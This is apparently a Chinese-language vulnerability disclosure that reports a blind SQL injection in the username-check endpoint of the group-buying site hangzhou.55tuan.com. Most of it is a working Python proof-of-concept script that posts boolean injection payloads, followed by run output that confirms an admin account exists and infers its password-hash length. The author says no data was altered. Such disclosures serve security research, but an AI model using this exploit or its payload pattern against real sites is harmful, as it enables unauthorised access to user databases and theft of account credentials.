注册页面 校验email和用户名的地方使用了Ajax POST 数据到服务器端检测，但是过滤仅在客户端进行。使用脚本或者浏览器工具可以轻松绕过。

以下为测试代码(python)：
import httplib, urllib

import sys

 

if len(sys.argv) < 2:

exit(0)

 

headers = {

“Accept”: “*/*”,

“Accept-Language”: “zh-CN,zh;q=0.8″,

“Content-Type”: “application/x-www-form-urlencoded”,

“Origin”: “http://hangzhou.55tuan.com”,

“User-Agent”: “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like
Gecko) Chrome/13.0.782.112 Safari/535.1″,

“Cookie”: “55tuan_uuid=3a0c2fad-6b10-4ade-89e2-15d94ef4647b”,

}

params=urllib.urlencode({

www.2cto.com “username”:”adminccc’ or (%s)or ’4′=’3″ % (sys.argv[1]),

})

conn = httplib.HTTPConnection(‘hangzhou.55tuan.com:80′)

conn.request(“POST”, “/check.do?method=checkUsernameRepeatAction”, params,
headers)

 

response = conn.getresponse()

data = response.read()

print data

从探测过程看，似乎后台对SQL 做了一定的保护，或者是有其他逻辑影响。因此采用’adminccc’ or (%s) or ’4′=’3′
三个或条件来测试。由于adminccc 用户目前没有注册因此第一个条件是不成立的，’4′=’3′
也是不成立的。实际测试结果仅为括号内条件
漏洞证明：
运行脚本：
D:\>post_test.py
“username=’admin’”
true
返回true 说明存在admin用户

D:\>post_test.py “username=’admin’ and
length(password)=31″
false
D:\>post_test.py “username=’admin’ and
length(password)=32″
true
说明密码长度是32字节，估计是MD5 不继续做修改性测试:如通过SQL修改密码

ps: username password 字段纯属猜测得到，没有通过查询系统表